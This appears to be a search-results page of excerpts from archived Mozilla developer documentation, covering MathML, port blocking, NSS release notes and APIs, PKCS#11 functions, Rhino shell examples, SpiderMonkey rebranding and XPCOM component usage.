... as for the roots of the equation a x 2 + b x + c = 0 , click anywhere in the yellow area to zoom-in/zoom-out: zoomable math html content <p> <math display="block"> <mstyle id="zoomablemath" mathbackground="yellow"> <mrow> <mi>x</mi> <mo>=</mo> <mfrac> <mrow> <mrow> <mo>-</mo> <mi>b</mi> </mrow> <mo>&#xb1;</mo> <msqrt> <mrow> <msup> ...
... <mi>c</mi> </mrow> </mrow> </msqrt> </mrow> <mrow> <mn>2</mn> <mi>a</mi> </mrow> </mfrac> </mrow> </mstyle> </math> </p> javascript content function zoomtoggle() { if (this.hasattribute("mathsize")) { this.removeattribute("mathsize"); } else { this.setattribute("mathsize", "200%"); } } function load() { document.getelementbyid("zoomablemath").
... addeventlistener("click", zoomtoggle, false); } window.addeventlistener("load", load, false); consider an interesting markup like this { u t + f ( u ) x = 0 u ( 0 , x ) = { u - if x < 0 u + if x > 0 or other complex markups like these ell ^ y ( z ; z , τ ) := ∫ y ( ∏ l ( y l 2 π i ) θ ( y l 2 π i - z ) θ ′ ( 0 ) θ ( - z ) θ ( y l 2 π i ) ) × ( ∏ k θ ( e k 2 π i - ( α k + 1 ) z ) θ ( - z ) θ ( e k 2 π i - z ) θ ( - ( α k + 1 ) z ) ) π ( n ) = ∑ m = 2 n ⌊ ( ∑ k = 1 m - 1 ⌊ ( m / k ) / ⌈ m / k ⌉ ⌋ ) - 1 ⌋ ‖ ϕ ‖ w s k ( Ω g ) ≝ ( ∑ | α | ≦ k ∂ �...
MathML Accessibility in Mozilla
the table gives the output in mode "utterance" and description spoken last.
...see bug 1176970 ; safari+voiceover reads "(, abcde, )".
...see bug 1176970 ; safari+voiceover reads "{, abcde, }".
...see bug 1176970 ; safari+voiceover reads "{, abcde, }".
Mozilla Port Blocking
background on 08/15/2001, cert issued a vulnerability note vu#476267 for a "cross-protocol" scripting attack, known as the html form protocol attack which allowed sending arbitrary data to most tcp ports.
...by default, mozilla now blocks access to specific ports which are used by vulnerable services in order to prevent security vulnerabilites due to "cross-protocol scripting".
..."access to the port number given has been disabled for security reasons." "establishing a connection to an unsafe or otherwise banned port was prohibited" "0x804b0013 (ns_error_port_access_not_allowed)" if your product or web site uses a port which is blocked by mozilla's default port blocking rules, you can either change the port of your service to a unblocked value (recommended if possible) or as...
...enabling ports user_pref("network.security.ports.banned.override, "port1,port2"); disabling ports user_pref("network.security.ports.banned", "port3,port4"); blocked ports ports blocked by default in mozilla: port service 1 tcpmux 7 echo 9 discard 11 systat 13 daytime 15 netstat 17 qotd 19 chargen 20 ftp ...
Mozilla Development Strategies
if you are blocked, but have something worth checking in, check in using #ifdef, prefs, or "alternative" files sometimes you'll work on something, but you can't land it because something else is blocking you.
... make sure you have the right fix when you go for reviews when tempted to do a first pass fix and fix the fallout later, do it right the first time; don't assume you'll be able to file a "fix it" bug and fix stuff you know about later -- chances are the reviewer will make you do the work anyway.
... if it takes you five extra minutes to do something the "right" way rather than twenty minutes debating it with the reviewer, you've just saved yourself and the reviewer valuable time.
... obviously, when doing it the "right" way means re-engineering large amounts of code, then incremental work is better; it's a fine line.
Mozilla Quirks Mode Behavior
there are a bunch of quirks to get percentage heights on images, tables, objects, and applets (etc.?) to "work" (the way they did in netscape navigator 4), even though css says that percentage heights should behave like 'auto' heights when the parent element doesn't have a fixed height.
... in quirks mode floated tables never move to the next "line" if they don't fit next to other floats, they just keep widening the page (see bug 43086).
... in quirks mode colspan="0" and rowspan="0" are intentionally not handled as described in html4 (bug 9879).
... html parser in quirks mode, we parsed html comments in a non-sgml way compatible with other browsers instead of treating "--" as the comment start and end delimiter.
Investigating leaks using DMD heap scan mode
dmd heap scan mode is a "tool of last resort" that should only be used when all other avenues have been tried and failed, except possibly ref count logging.
...secondly, you may need to comment out the call to moz_crash("nss_shutdown failed"); in xpcom/build/xpcominit.cpp, as this also seems to trigger when shutdown is extremely slow.
...if you are investigating a leak of www.example.com, then from $logdir you can do "grep nsglobalwindow cc-edges* | grep example.com".
..."[via hash] mlistenermanager" is a description of that strong reference.
GC and CC logs
generating logs from within firefox to manually generate gc and cc logs, navigate to about:memory and use the buttons under "save gc & cc logs." "save concise" will generate a smaller cc log, "save verbose" will provide a more detailed cc log.
...to make all ccs verbose, set moz_cc_all_traces to "all", or to "shutdown" to make only shutdown ccs verbose.
...to find the cc logs once the try run has finished, click on the particular job, then click on "job details" in the bottom pane in treeherder, and you should see download links.
... to set the environment variable, find the buildbrowserenv method in the python file for the test suite you are interested in, and add something like this code to the file: browserenv["moz_cc_log_directory"] = os.environ["moz_upload_dir"] browserenv["moz_cc_log_shutdown"] = "1" analyzing gc and cc logs there are numerous scripts that analyze gc and cc logs on github.
Reporting a Performance Problem
visit https://profiler.firefox.com/ click on "enable profiler menu button" the profiler toolbar button will show up in the top right of the url bar as a small stopwatch icon you can right-click on the button and remove it from the toolbar when you're done with it.
...make sure to choose an appropriate setting for the recording (if you're not sure, choose firefox platform), and then choosing "start recording".
...wait until the "symbolicating call stacks" notification disappears before sharing the profile.
...you can see which of these addons are causing problems by adding the "moz-extension" filter.
tools/power/rapl
the package estimate is divided into three parts: cores, gpu, and "other".
... "other" is computed as the package power minus the cores power and gpu power.
... if the processor does not support gpu or ram estimates then " n/a " will be printed in the relevant column instead of a number, and it will contribute zero to the total.
...the default is 0, which is interpreted as "unlimited".
Leak And Bloat Tests
user_pref("mail.account.account1.server", "server1"); user_pref("mail.account.account2.identities", "id1"); user_pref("mail.account.account2.server", "server2"); user_pref("mail.accountmanager.accounts", "account1,account2"); user_pref("mail.accountmanager.defaultaccount", "account2"); user_pref("mail.accountmanager.localfoldersserver", "server1"); user_pref("mail.identity.id1.fullname", "tinderbox"); user_p...
...ref("mail.identity.id1.smtpserver", "smtp1"); user_pref("mail.identity.id1.useremail", "tinderbox@invalid.com"); user_pref("mail.identity.id1.valid", true); user_pref("mail.root.none-rel", "[profd]mail"); user_pref("mail.root.pop3-rel", "[profd]mail"); user_pref("mail.server.server1.directory-rel", "[profd]mail/local folders"); user_pref("mail.server.server1.hostname", "local folders"); user_pref("mail.server.server1.name", "local folders"); user_pref("mail.server.server1.type", "none"); user_pref("mail.server.server1.username", "nobody"); user_pref("mail.server.server2.check_new_mail", false); user_pref("mail.server.server2.directory-rel", "[profd]mail/tinderbox"); user_pref("mail.server.server2.download_on_biff", true); user_pref("mail.server.server2.hostname", "tinderbox"); user_pref("ma...
...il.server.server2.login_at_startup", false); user_pref("mail.server.server2.name", "tinderbox@invalid.com"); user_pref("mail.server.server2.type", "pop3"); user_pref("mail.server.server2.username", "tinderbox"); user_pref("mail.smtp.defaultserver", "smtp1"); user_pref("mail.smtpserver.smtp1.hostname", "tinderbox"); user_pref("mail.smtpserver.smtp1.username", "tinderbox"); user_pref("mail.smtpservers", "smtp1"); user_pref("mail.startup.enabledmailcheckonce", true); user_pref("mailnews.start_page_override.mstone", "1.9pre"); user_pref("mail.shell.checkdefaultclient", false); // ensure os x and outlook/oe books are disabled user_pref("ldap_2.servers.osx.position", 0); user_pref("ldap_2.servers.oe.position", 0); preferences in generated profile, but not set: user_pref("mail.root.none", "/home/...
...moztest/.thunderbird/t7i1txfw.minimum/mail"); user_pref("mail.root.pop3", "/home/moztest/.thunderbird/t7i1txfw.minimum/mail"); user_pref("mail.server.server1.directory", "/home/moztest/.thunderbird/t7i1txfw.minimum/mail/local folders"); user_pref("mail.server.server2.directory", "/home/moztest/.thunderbird/t7i1txfw.minimum/mail/tinderbox"); user_pref("mail.attachment.store.version", 1); user_pref("mail.folder.views.version", 1); user_pref("mail.spam.version", 1); user_pref("mailnews.quotingprefs.version", 1); user_pref("mailnews.ui.threadpane.version", 6); changes to leak and bloat tests date and time (pst) description approx effect on numbers pre dec 2008 initial version - 2008/12/07 11:20 bug 463594 disabled os x and outlook address books via the preference settings mac lk -56.2...
McCoy
mozilla calls mccoy a "simple system" which is a clear sign that something probably is not working, and indeed, is not.
...simply click the "create" toolbar button or select "create key" from the "keys" menu.
... if you wish to manually add the public key to the install.rdf you can right click the key, select \"copy public key\" and then add it to the file as an updatekey entry.
...simply select the key you originally added to the add-on's install.rdf, then click the "sign" toolbar button, select your update.rdf file and the data in it will be signed.
NSPR Contributor Guide
it must be your own invention, free and clear of encumberment of anyone or anything else; pay close attention to the rights of your "day-job" employer.
... new features for purposes of this paper, a "new feature" is defined as some api addition that goes into the core nspr library, for example: libnspr4.dll nspr is mostly complete.
...for purposes of this paper, a "new library" is defined as a libary under the mozilla/nsprpub/lib directory tree and built as a separate library.
... these libraries exist, for the most part, as "legacy" code from nspr 1.0.
NSS 3.12.5 release_notes
the bug fixes in nss 3.12.5 are described in the "bugs fixed" section below.
... this default setting can also be changed within the application by using the following existing api functions: secstatus ssl_optionset(prfiledesc *fd, print32 option, prbool on) secstatus ssl_optionsetdefault(print32 option, prbool on) there is now a new value for "option", which is: ssl_enable_renegotiation the corresponding new values for ssl_enable_renegotiation are: ssl_renegotiate_never: never renegotiate at all (default).
... see the following struct in nss.h for details: nssinitparametersstr other new functions in secmod.h: secmod_getskipfirstflag secmod_getdefaultmoddbflag in prlink.h nss_securememcmp port_loadlibraryfromorigin modified functions sgn_update (see cryptohi.h) the parameter "input" of this function is changed from unsigned char * to const unsigned char *.
... pk11_configurepkcs11 (see nss.h) the name of some parameters have been slightly changed ("des" became "desc").
NSS 3.14.3 release notes
the bug fixes in nss 3.14.3 are described in the "bugs fixed" section below.
...the details of their research and the attack can be found at http://www.isg.rhul.ac.uk/tls/, and has been referred to as "lucky thirteen".
...this attack is mitigated when using nss 3.14.3 with an nss cryptographic module ("softoken") version 3.14.3 or later.
... bug 840714 - "certutil -a" was not correctly producing ascii output as requested.
NSS 3.14 release notes
see the "changes" section below.
...because the test coverage and interoperability testing is not yet at the same level as other nss code, this feature should be considered "experimental" and may contain bugs.
...support for md5 may be manually enabled (but is discouraged) by setting the environment variable of "nss_hash_alg_support=+md5" or by using the nss_setalgorithmpolicy function.
... note that ssl cipher suites with "md5" in their names are not disabled by this change; those cipher suites use hmac-md5, not plain md5, and are still considered safe.
NSS 3.16.2 release notes
the bug fixes in nss 3.16.2 are described in the "bugs fixed" section below.
...use "c" as a shorthand for the suffix certificate.
... the certutil command has three new certificate usage specifiers: l: certificateusagesslca a: certificateusageanyca y: certificateusageverifyca the pp command has a new command-line option -u, which means "use utf-8".
... the default is to show a non-ascii character as ".".
nss tech note1
how to use the nss asn.1 and quickder decoders nss technical note: 1 nss 3.6 contains several decoders for asn.1 and der.two of them are extensively used and are part of the public nss api : the "classic" asn.1 decoder, written by lisa repka .
... the "quickder" decoder, written by julien pierre for nss 3.6 .
...a "null template" is a template that is all zeros, having a zero kind.† the term "null-terminated array", as used throughout this document, means an array of templates, the last of which is a null template.
...it is only required for dynamically allocating memory for the structure if the template is being included from an asn.1 sequence or sequence of, or if dynamic allocation was requested from the parent template using the sec_asn1_pointer modifier here is a description of the various tags and modifiers that apply to the <tt style="color: rgb(0,0,0);">kind field.
nss tech note4
include these files #include "ssl.h" #include "cert.h" get the handle of the cert associated with an ssl connection certcertificate* cert = ssl_peercertificate(prfiledesc *fd); if ssl client, this will get you the server's cert handle; if ssl server, this will get you the client's cert handle if client auth is enabled certcertificate* ...
... the oid data structure contains an array of identifier bytes (each byte is a "level" in a hierarchical namespace), a text description, and some other things.
... if (rv == secsuccess) { sec_asn1decodercontext * context = sec_asn1decoderstart(null, &data, mycertexttemplate); rv = sec_asn1decoderupdate( context, (const char *)(myextvalue.data), myextvalue.len); if (rv == secsuccess) { /* now you can extract info from secitem fields of your extension data structure */ /* see "misc helper functions" below */ .......
... int tag, secitem *value); get a specific extension from the issuer's cert secstatus cert_findissuercertextension (certcertificate *cert, int tag, secitem *value); get the value of an extension with the given oid secstatus cert_findcertextensionbyoid (certcertificate *cert, secitem *oid, secitem *value); get the decoded value of the "basic constraints" extension secstatus cert_findbasicconstraintexten (certcertificate *cert, certbasicconstraints *value); get value of the keyusage extension.
PKCS11 FAQ
MozillaProjectsNSSPKCS11FAQ
what are "generic crypto svcs" (the first item listed when you click the view/edit button for the nss internal pkcs #11 module under security devices under options/security in firefox)?
...this may not be necessary for "private key op only" tokens, but this is not guaranteed.
...(many nss based server products will use temporary session objects, even for "private key op only" tokens.) if a session key is unwrapped and stays on a hardware token, is it sufficient to support just the usual decryption mechanisms for it, or is it assumed that such a symmetric key will always be extractable from the token into the browser?
...normally this dialog does not have any options and just provides information; however, if you have more than one token that can be used in this key generation process (for example, your smartcard and the nss internal pkcs#11 module), you will see a selection of "cards and databases" that can be used to generate your new key info.
FC_GetInfo
manufacturerid: the pkcs #11 library manufacturer, "mozilla foundation", padded with spaces to 32 characters and not null-terminated.
... librarydescription: description of the library, "nss internal crypto services", padded with spaces to 32 characters and not null-terminated.
... /* invoke fc_getinfo as pfunctionlist->c_getinfo */ crv = pfunctionlist->c_getinfo(&info); assert(crv == ckr_ok); printf("general information about the pkcs #11 library:\n"); printf(" pkcs #11 version: %d.%d\n", (int)info.cryptokiversion.major, (int)info.cryptokiversion.minor); printf(" manufacturer id: %.32s\n", info.manufacturerid); printf(" flags: 0x%08lx\n", info.flags); printf(" library description: %.32s\n", info.librarydescription); printf(" library version: %d.%d\n", (int)info.libraryve...
...rsion.major, (int)info.libraryversion.minor); printf("\n"); see also nsc_getinfo ...
FC_Initialize
the library parameters string has this format: "configdir='dir' certprefix='prefix1' keyprefix='prefix2' secmod='file' flags= " here are some examples.
... nss_nodb_init(""), which initializes nss with no databases: "configdir='' certprefix='' keyprefix='' secmod='' flags=readonly,nocertdb,nomod db,forceopen,optimizespace " mozilla firefox initializes nss with this string (on windows): "configdir='c:\\documents and settings\\wtc\\application data\\mozilla\\firefox\\profiles\\default.7tt' certprefix='' keyprefix='' secmod='secmod.db' flags=optimizespace manufacturerid='mozilla.org' librarydescription='psm internal crypto services' cryptotokendescription='generic crypto services' dbtokendescription='software security device' cryptoslotdescription='psm internal cryptographic services' dbslotdescription='psm private keys' fipsslotdescription='psm internal fips-140-1 cryptographic services' fipstokendescription='psm fips-140-1 user private key...
... services' minps=0" see pkcs #11 module specs for complete documentation of the library parameters string.
... examples #include <assert.h> ck_function_list_ptr pfunctionlist; ck_rv crv; ck_c_initialize_args initargs; crv = fc_getfunctionlist(&pfunctionlist); assert(crv == ckr_ok); initargs.createmutex = null; initargs.destroymutex = null; initargs.lockmutex = null; initargs.unlockmutex = null; initargs.flags = ckf_os_locking_ok; initargs.libraryparameters = "..."; initargs.preserved = null; /* invoke fc_initialize as pfunctionlist->c_initialize */ crv = pfunctionlist->c_initialize(&initargs); see also fc_finalize ...
NSS tools : cmsutil
-d dbdir specify the key/certificate database directory (default is ".") -e envfile specify a file containing an enveloped message for a set of recipients to which you would like to send an encrypted message.
...usage encrypt example cmsutil -c [-i infile] [-o outfile] [-d dbdir] [-p password] -r "recipient1,recipient2, .
...." -e envfile decode example cmsutil -d [-i infile] [-o outfile] [-d dbdir] [-p password] [-c content] [-n] [-h num] envelope example cmsutil -e [-i infile] [-o outfile] [-d dbdir] [-p password] -r "recipient1,recipient2, ..." certificate-only example cmsutil -o [-i infile] [-o outfile] [-d dbdir] [-p password] -r "cert1,cert2, .
...." sign message example cmsutil -s [-i infile] [-o outfile] [-d dbdir] [-p password] -n nickname[-tgp] [-y ekprefnick] see also certutil(1) see also additional resources nss is maintained in conjunction with pki and security-related projects through mozilla dn fedora.
NSS_3.12.3_release_notes.html
the bug fixes in nss 3.12.3 are described in the "bugs fixed" section below.
... nss_strict_nofork string ("1", "disabled", or any other non-empty value) it is an error to try to use a pkcs#11 crypto module in a process before it has been initialized in that process, even if the module was initialized in the parent process.
... if set to to "1" or unset, softoken will trigger an assertion failure in debug builds, and will report an error in non-debug builds.
... if set to "disabled", softoken will ignore forks, and behave as it did in older versions.
NSS tools : cmsutil
MozillaProjectsNSStoolscmsutil
-d dbdir specify the key/certificate database directory (default is ".") -e envfile specify a file containing an enveloped message for a set of recipients to which you would like to send an encrypted message.
... usage encrypt example cmsutil -c [-i infile] [-o outfile] [-d dbdir] [-p password] -r "recipient1,recipient2, .
...." -e envfile decode example cmsutil -d [-i infile] [-o outfile] [-d dbdir] [-p password] [-c content] [-n] [-h num] envelope example cmsutil -e [-i infile] [-o outfile] [-d dbdir] [-p password] -r "recipient1,recipient2, ..." certificate-only example cmsutil -o [-i infile] [-o outfile] [-d dbdir] [-p password] -r "cert1,cert2, .
...." sign message example cmsutil -s [-i infile] [-o outfile] [-d dbdir] [-p password] -n nickname[-tgp] [-y ekprefnick] see also certutil(1) see also additional resources nss is maintained in conjunction with pki and security-related projects through mozilla dn fedora.
Rhino serialization
they're intended mainly as examples of the use of serialization: $ java org.mozilla.javascript.tools.shell.main js> function f() { return 3; } js> serialize(f, "f.ser") js> quit() $ java org.mozilla.javascript.tools.shell.main js> f = deserialize("f.ser") function f() { return 3;} js> f() 3 js> here we see a simple case of a function being serialized to a file and then read into a new instance of rhino and called.
...if you are using rhino serialization in an environment where you always define, say, a constructor foo, you should add the following code before calling writeobject: out.addexcludedname("foo"); out.addexcludedname("foo.prototype"); this code will prevent foo and foo.prototype from being serialized and will cause references to foo or foo.prototype to be resolved to the objects in the new scope upon deserialization.
...however, you can run into problems with serialization of compiled functions and scripts: $ cat test.jsfunction f() { return 3; } serialize(f, "f.ser"); g = deserialize("f.ser"); print(g()); $ java org.mozilla.javascript.tools.shell.main -opt -1test.js 3 $ java org.mozilla.javascript.tools.shell.main test.js js: uncaught javascript exception: java.lang.classnotfoundexception:c1 the problem is that java serialization has no built-in way to serialize java classes themselves.
... (it might be possible to save the java bytecodes in an array and then load the class upon deserialization, but at best that would eat up a lot of memory for just this feature.) one way around this is to compile the functions using the jsc tool: $ cat f.js function f() { return 3; } $ java -classpath js.jarorg.mozilla.javascript.tools.jsc.main f.js $ cat test2.js loadclass("f"); serialize(f, "f.ser"); g = deserialize("f.ser"); print(g()); $ java -classpath 'js.jar;.'org.mozilla.javascript.tools.shell.main test2.js 3 now the function f is compiled to a java class, but that class is then made available in the classpath so serialization works.
Rhino shell
$ java org.mozilla.javascript.tools.shell.main -e "print('hi')" hi $ java org.mozilla.javascript.tools.shell.main js> print('hi') hi js> 6*7 42 js> function f() { return a; } js> var a = 34; js> f() 34 js> quit() $ cat echo.js for (i in arguments) { print(arguments[i]) } $ java org.mozilla.javascript.tools.shell.main echo.js foo bar foo bar $ spawn and sync the following example creates 2 threads via spawn and uses sync to create a synchron...
... js> function test(x) { print("entry"); java.lang.thread.sleep(x*1000); print("exit"); } js> var o = { f : sync(test) }; js> spawn(function() {o.f(5);}); thread[thread-0,5,main] entry js> spawn(function() {o.f(5);}); thread[thread-1,5,main] js> exit entry exit runcommand here are a few examples of invoking runcommand under linux.
... js> runcommand('date') thu jan 23 16:49:36 cet 2003 0 // using input option to provide process input js> runcommand("sort", {input: "c\na\nb"}) a b c 0 js> // demo of output and err options js> var opt={input: "c\na\nb", output: 'sort output:\n'} js> runcommand("sort", opt) 0 js> print(opt.output) sort output: a b c js> var opt={input: "c\na\nb", output: 'sort output:\n', err: ''} js> runcommand("sort", "--bad-arg", opt) 2 js> print(opt.err) /bin/sort: unrecognized option `--bad-arg' try `/bin/sort --help' for more information.
... js> runcommand("bad_command", "--bad-arg", opt) js: "<stdin>", line 18: uncaught javascript exception: java.io.ioexception: bad_command: not found js> // passing explicit environment to the system shell js> runcommand("sh", "-c", "echo $env1 $env2", { env: {env1: 100, env2: 200}}) 100 200 0 js> // use args option to provide additional command arguments js> var arg_array = [1, 2, 3, 4]; js> runcommand("echo", { args: arg_array}) 1 2 3 4 0 examples for windows are similar: js> // invoke shell command js> runcommand("cmd", "/c", "date /t") 27.08.2005 0 js> // run sort collectiong the output js> var opt={input: "c\na\nb", output: 'sort output:\n'} js> runcommand("sort", opt) 0 js> print(opt.output) sort output: a b c js> // invoke notepad and wait until it exits js> runcommand("notepad") 0...
Rebranding SpiderMonkey (1.8.5)
in the unix world we would issue the following command: find ./ -type f -exec sed -i "s/mozjs185/$brand/" {} \; windows users: notepad++ can be used to perform the recursive find and replace text operation.
...find ./ -type f -exec sed -i "s/$brand.pc/mozjs185.pc/" {} \; the last recursive search and replace, changes the file name of the static library: find ./ -type f -exec sed -i "s/js_static/$brand_static/" {} \; allright, almost there.
...search for this text: mozjs185.pc "scroll down" a few lines until you see this line: > $@ && chmod 644 $@ that line should be modified to read back: > $brand.pc && chmod 644 $brand.pc "scroll down" a few lines until you see these lines: install:: $(pkg_config_files) @echo pkg_config_file: $(pkg_config_files) those two lines should be modified to read back: install:: $brand.pc @echo pkg_config_file: $brand.pc note: while it is possible to automate the manual editing process, this has been discouraged due to the fact that these files are automatically generated and very little constant data can be depended upon.
...if this is not desirable, you can issue the following command on unix systems: sed -i "s/mozjs185/$brand/" /usr/bin/js-config which performs a simple text replacement of mozjs185 with your branding on the js-config script.
JSNative
the term "native" here refers to c/c++ code as opposed to javascript code.
... full documentation of how to define a jsnative (or a jsfastnative, the equivalent typedef which preceded it) is available in the api header "js/callargs.h" added in spidermonkey 24.
...(this structure is now provided in "js/callargs.h" added in spidermonkey 24 as well as through "jsapi.h".) this structure encapsulates access to the callee function, this, the function call's arguments, and the eventual return value.
...this has limited use cases; it's used to implement firefox's "slow script" dialog, for example.) when a jsnative is called, no jsstackframe is generated.
JS_THREADSAFE
in this reference, these jsapi functions are marked with the words "requires request", like this: name type description cx jscontext * the context to use.
...these callbacks are (unreliably!) documented with the words "provides request", like this: name type description cx jscontext * the context in which the event ocurred.
... sharing data among threads "data can be marshaled across the process boundary through a process known as smuggling." --mr.
...for example: many worker threads need to share a "pool" of reusable contexts, to avoid the performance cost of constantly creating and destroying contexts.
Fun With XBL and XPConnect
<binding name="autocomplete" extends="xul:box"> <content> <xul:textfield class="addressingwidget"/> <xul:menupopup/> </content> <implementation> <property name="autocompletesession"> <![cdata[ components.classes['component://netscape/messenger/autocomplete&type=addrbook'].
... <method name="autocomplete"> <argument name="asearchstring"/> <argument name="resultlistener"/> <body> <![cdata[ return this.autocompletesession.autocomplete(null, anonymouscontent[0], asearchstring, this.autocompletelistener); ]]> </body> </method> you can see that the body of the method is just getting the auto complete session object and cal...
...i could apply a trick similar to what i did for the xpcom object: <property name="autocompletelistener"> <![cdata[ ({ onautocompleteresult: function(aitem, aoriginalstring, amatch) { if ( aitem ) { anonymouscontent[0].value = amatch; } } }) ]]> </property> as long as the js for the value of autocompletelistener evaluates to an object (and wrapping the expression with a set of parens like i did...
... <handlers> <handler type="keypress" keycode="vk_return" value="autocomplete(anonymouscontent[0].value, this.autocompletelistener);"/> </handlers> </implementation> </binding> original document information author(s): scott macgregor last updated date: april 13, 2000 copyright information: copyright (c) scott macgregor ...
Generating GUIDs
online tools generate guid online uuid (guid) generator on the web uuid generator for mozilla code (both idl and c++.h forms) you can get a guid from one of the bots (such as botbot, firebot) on #firefox irc channel by /msging "uuid" to them.
... bash you can put the following into your .bashrc file: uuidgen-c++() { local uuid=$(uuidgen) echo "// $uuid" echo "#define ns__iid \\" echo "{ 0x${uuid:0:8}, 0x${uuid:9:4}, 0x${uuid:14:4}, \\" echo -n " { 0x${uuid:19:2}, 0x${uuid:21:2}, 0x${uuid:24:2}, " echo -n "0x${uuid:26:2}, 0x${uuid:28:2}, 0x${uuid:30:2}, " echo "0x${uuid:32:2}, 0x${uuid:34:2} } }" } perl #!/usr/bin/perl $uuid = `uuidgen`; chomp $uuid; print $uuid, "\n"; @parts = ($uuid =~ /^(.{8})-(.{4})-(.{4})-(..
...)(..)-(..)(..)(..)(..)(..)(..)$/); print "{ 0x$parts[0], 0x$parts[1], 0x$parts[2], \\", "\n", " { "; for (3 ..
... 9) { print "0x$parts[$_], "; } print "0x$parts[10] } }", "\n"; ...
Packaging WebLock
weblock installation script // initialize the installation var err = initinstall("weblock", "weblock", 1.0); var componentsdir = getfolder("components"); var cf = getfolder("chrome"); // add the dll and say where it'll go addfile("weblock.dll", 1.0, "weblock.dll", componentsdir, ""); // add the typelib also addfile("weblock.xpt", "1.0", "weblock.xpt", componentsdir, ""); // add the weblock subdirectory of the xpi and specify that // it be installed in the chrome application...
... directory err = adddirectory("weblock", "1.0", "", chromedir, ""); // ?
... // register the new ui with the mozilla chrome registry registerchrome(content, getfolder(cf,"weblock.xpi"),"weblock"); registerchrome(skin, getfolder(cf, "weblock.xpi"),"weblock"); // perform the installation if there are no errors if (err==success) performinstall(); else cancelinstall(err); the weblock trigger script the trigger script is the script placed on a web page that actually initiates an xpinstall installation and calls the installation script that appears in the xpi.
... <!doctype html> <html> <title>weblock installation</title> <script> /* * trigger function that downloads the xpi so the * install.js file inside can be read and executed */ function installweblock() { weblock_xpi = {'weblock extension': 'weblock.xpi'}; installtrigger.install(weblock_xpi); } </script> <h1>install weblock</h1> <p><a href="#" onclick="installweblock();">install weblock</a></p> </html> distributing your component once you have the component packaged properly and the necessary installation and trigger scripts, you are ready to distribute your component so others can install it in their gecko applications.
Receiving startup notifications
for example: category profile-after-change mycomponent @foobar/mycomponent;1 important: in the past, the contract id of the category entry started with "service," if the component was implemented as a service.
...receiving startup notifications prior to gecko 2.0 (firefox 4) to receive startup notifications, one needs to register with the "app-startup" category using nsicategorymanager; having done so, the component will receive these startup notifications, including: xpcom-startup sent when xpcom finishes starting up.
... registering with the category manager to register with the category manager, simply call its nsicategorymanager.addcategoryentry() method: categorymanager->addcategoryentry(appstartup_category, "mycomponentname", "contract-id", pr_true, pr_true, getter_copies(previous)); this causes your component to be instantiated using nsicomponentmanager.createinstance().
... if you want your component to be started as a service, prepend "service," to the contract id: categorymanager->addcategoryentry(appstartup_category, "mycomponentname", "service,contract-id", pr_true, pr_true, getter_copies(previous)); with "service," specified, the component is instantiated using nsicomponentmanager.getservice().
Components.Constructor
for example: var binaryinputstream = components.constructor("@mozilla.org/binaryinputstream;1"); var bis = new binaryinputstream(); print(bis.tostring()); // "[xpconnect wrapped nsisupports]" try { // someinputstream is an existing nsiinputstream // throws because bis hasn't been qi'd to nsibinaryinputstream bis.setinputstream(someinputstream); } catch (e) { bis.queryinterface(components.interfaces.nsibinaryinputstream); bis.setinputstream(somein...
...putstream); // succeeds now } if two arguments are given, the created instance will be nsisupports.queryinterface()'d to the xpcom interface whose name is the second argument: var binaryinputstream = components.constructor("@mozilla.org/binaryinputstream;1", "nsibinaryinputstream"); var bis = new binaryinputstream(); print(bis.tostring()); // "[xpconnect wrapped nsibinaryinputstream]" // someinputstream is an existing nsiinputstream bis.setinputstream(someinputstream); // succeeds if three arguments are given, then in addition to being nsisupports.queryinterface()'d, the instance will also have had an initialization method called on it.
... the arguments used with the initialization method are the arguments passed to the components.constructor()-created function when called: var binaryinputstream = components.constructor("@mozilla.org/binaryinputstream;1", "nsibinaryinputstream", "setinputstream"); try { // throws, because number of arguments isn't equal to the number of // arguments nsibinaryinputstream.setinputstream takes var bis = new binaryinputstream(); } catch (e) { // someinputstream is an existing nsiinputstream bis = new binaryinputstream(someinputstream); // succeeds var bytes = bis.readbytearray(somenumberofbytes); // succeeds } compare instance creation from base principles with instance creation using com...
...ponents.constructor(); the latter is much easier to read than the former (particularly if you're creating instances of a component in many different places): var bis = components.classes["@mozilla.org/binaryinputstream;1"] .createinstance(components.interfaces.nsibinaryinputstream); bis.setinputstream(someinputstream); // assumes binaryinputstream was initialized previously var bis = new binaryinputstream(someinputstream); components.constructor() is purely syntactic sugar (albeit speedy and pretty syntactic sugar) for actions that can be accomplished using other common methods.
Components.utils.cloneInto
example this add-on script creates an object, clones it into the content window and makes it a property of the content window global: // add-on script var addonscriptobject = {"greeting" : "hello from add-on"}; contentwindow.addonscriptobject = cloneinto(addonscriptobject, contentwindow); scripts running in the page can now access the object: // page script button.addeventlistener("click", function() { console.log(window.addonscriptobject.greeting); // "hello from add-on" }, false); of course, you don't have to assign the clone to the window itself: you can assign...
...suppose the page script defines a function like this: // page script function foo(greeting) { console.log("they said: " + greeting.message); } the add-on script can define an object, clone it, and pass it into this function: // add-on script var addonscriptobject = {"message" : "hello from add-on"}; contentwindow.foo(cloneinto(addonscriptobject, contentwindow)); // "they said: hello from add-on" cloning objects that have functions if the object to be cloned contains functions, you must pass the {clonefunctions:true} flag or you'll get an error.
... if you do pass this flag, then functions in the object are cloned using the same mechanism as that used in components.utils.exportfunction: // add-on script var addonscriptobject = { greetme: function() { alert("hello from add-on"); } }; contentwindow.addonscriptobject = cloneinto(addonscriptobject, contentwindow, {clonefunctions: true}); // page script var test = document.getelementbyid("test"); test.addeventlistener("click", function() { window.addonscriptobject.greetme(); }, false); cloning objects that contain dom elements by default, if the object you clone contains objects that are reflected from c++, such as dom elements, the cloning operation will fail with an error.
...:true} flag, then the object you clone is allowed to contain these objects: // add-on script var addonscriptobject = { body: contentwindow.document.body }; contentwindow.addonscriptobject = cloneinto(addonscriptobject, contentwindow, {wrapreflectors: true}); // page script var test = document.getelementbyid("test"); test.addeventlistener("click", function() { console.log(window.addonscriptobject.body.innerhtml); }, false); access to these objects in the target scope is subject to the normal security checks.
HOWTO
put the following at the end of your script: // do async processing // from <https://developer.mozilla.org/en/xpconnect/xpcshell/howto> print("doing async work"); gscriptdone = false; var gthreadmanager = cc["@mozilla.org/thread-manager;1"] .getservice(ci.nsithreadmanager); var mainthread = gthreadmanager.currentthread; while (!gscriptdone) mainthread.processnextevent(true); while (mainthread.haspendingevents()) mainthread.processnextevent(true); 2.
...e.g., you use: components.utils.import("resource://app/modules/gloda/log4moz.js"); however, you get (for that particular line, which is the first import): uncaught exception: [exception...
